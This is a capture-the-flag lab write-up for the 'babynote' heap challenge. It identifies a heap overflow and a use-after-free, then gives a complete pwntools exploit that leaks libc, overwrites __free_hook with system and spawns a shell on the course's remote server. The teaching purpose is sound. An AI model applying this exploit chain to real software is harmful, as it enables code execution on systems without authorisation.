Simple PWN - 0x18(Lab - babynote)
tags: CTF PWN eductf
Version: Ubuntu 20.04
Background
- hook - SS111-Pwn2

- Hook簡介
- Hook Function (攔截函式)
- The process of free and priority
Assume we malloc a memory with size over `0x410`, then when we free it, it’ll be classified to `Unsorted bin` instead of
tcache

Original Code
1 | |
Description
The data structure is as below, we can use add_note to create a new note and use edit_note to add/modify the data of note. Or just delete specific note or use show_note to print all of them.

Something Wrong
-
edit_note has heap overflow
So that we can add 2 notes and use edit function to overlap the 2nd notes.
1
2
3
4
5add_note(0, b'a'*8) edit_note(0, 0xa, b'a') add_note(1, b'b'*8) edit_note(1, 0x30, b'a'*48) #<-- overlap-
Before overlap

-
After overlap

-
-
used after free(UAF)
It has not deleted the pointer when it was freed
1
2
3
4
5
6
7
8
9void del_note() { short int idx; idx = get_idx(); free(notes[idx]->data); free(notes[idx]); printf("success!\n"); }
Preliminary Idea
Based on the problem we found above, we can try to use __free_hook to execute `system('/bin/sh')`
Exploit - UAF + heap overflow + __free_hook
- Try to construct heap structure that we need
1
2
3
4
5
6
7add_note(0, b'a'*8) # index 0 edit_note(0, 0x418, b'a') add_note(1, b'b'*8) # index 1 edit_note(1, 0x18, b'b') add_note(2, b'c'*8) # index 2index 0is for leaking the address oflibcindex 1is to implement heap overflowindex 2is a fake chunk that we have to construct
- Leak
libcaddress and find__free_hook,__libc_system- The reason that we set the data size of
index 0be0x418(1048 in decimal) is because when we free it, it will be classified toUnsorted binand thefdandbkwill store the address oflibc
Then we have to find where is __libc_systemand__free_hook1
2
3
4pwndbg> p __libc_system $1 = {int (const char *)} 0x7f9614bac290 <__libc_system> pwndbg> p &__free_hook $2 = (void (**)(void *, const void *)) 0x7f9614d48e48 <__free_hook>The offset is
Unsorted bin fd: $0x7f9614d46be0 - 0x7f9614b5a000 = 0x1ecbe0$__libc_system: $0x7f9614bac290 - 0x7f9614b5a000 = 0x52290$__free_hook: $0x7f9614d48e48 - 0x7f9614b5a000 = 0x1eee48$
So, we delete
index 0first, and try to useshow_notefunction to receive theUnsorted bin fd1
2
3
4
5
6
7
8
9delete_note(0) show_note() r.recvuntil(b'data:') libc = (u64(r.recv(8)) >> 8) - 0x1ecbe0 - 0xa000000000000 info(f"libc address: {hex(libc)}") free_hook_addr = libc + 0x1eee48 info(f"__free_hook address: {hex(free_hook_addr)}") libc_sys_addr = libc + 0x52290 info(f"__libc_system address: {hex(libc_sys_addr)}") - The reason that we set the data size of
- Construct fake chunk by using heap overflow
1
2
3
4
5
6
7
8
9data = b'/bin/sh\x00'.ljust(0x10, b'b') fake_chunk = flat( 0, 0x21, b'cccccccc', b'cccccccc', free_hook_addr ) edit_note(1, 0x38, data + fake_chunk) edit_note(2, 0x8, p64(libc_sys_addr))
Note that, the data of notestructure is a pointer that point to a space that system malloc. Thus,edit_notefunction will modify the pointed space, so thatedit_note(b'2\n', b'8\n', p64(libc_sys_addr))will modify[free_hook_addr]instead ofindex 2.
-
Delete
index 1and call__free_hookWhen we free
index 1and__free_hookis not NULL, then__free_hookcan be a function pointer to execute0x7ffbb6500290that is__libc_systemand the parameter isindex 1data, that is/bin/sh\x001
delete_note(1) - Well, we got shell!!

- Whole exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64from pwn import * # r = process('./chal') r = remote('edu-ctf.zoolab.org', 10007) context.arch = 'amd64' def add_note(idx, note_name): r.sendafter(b'> ', b'1') r.sendlineafter(b'index\n> ', str(idx)) r.sendafter(b'note name\n> ', note_name) def edit_note(idx, note_size, message): r.sendafter(b"> ", b"2") r.sendlineafter(b'index\n> ', str(idx)) r.sendlineafter(b'size\n> ', str(note_size)) r.send(message) def delete_note(idx): r.sendafter(b"> ", b"3") r.sendlineafter(b'index\n> ', str(idx)) def show_note(): r.sendafter(b"> ", b"4") '''------------------ Construct heap memory ------------------''' add_note(0, b'a'*8) edit_note(0, 0x418, b'a') add_note(1, b'b'*8) edit_note(1, 0x18, b'b') add_note(2, b'c'*8) '''------------------ Leak libc address ------------------''' delete_note(0) show_note() r.recvuntil(b'data:') libc = (u64(r.recv(8)) >> 8) - 0x1ecbe0 - 0xa000000000000 info(f"libc address: {hex(libc)}") free_hook_addr = libc + 0x1eee48 info(f"__free_hook address: {hex(free_hook_addr)}") libc_sys_addr = libc + 0x52290 info(f"__libc_system address: {hex(libc_sys_addr)}") '''------------------ Construct fake chunk ------------------''' data = b'/bin/sh\x00'.ljust(0x10, b'b') fake_chunk = flat( 0, 0x21, b'cccccccc', b'cccccccc', free_hook_addr ) edit_note(1, 0x38, data + fake_chunk) edit_note(2, 0x8, p64(libc_sys_addr)) delete_note(1) r.interactive()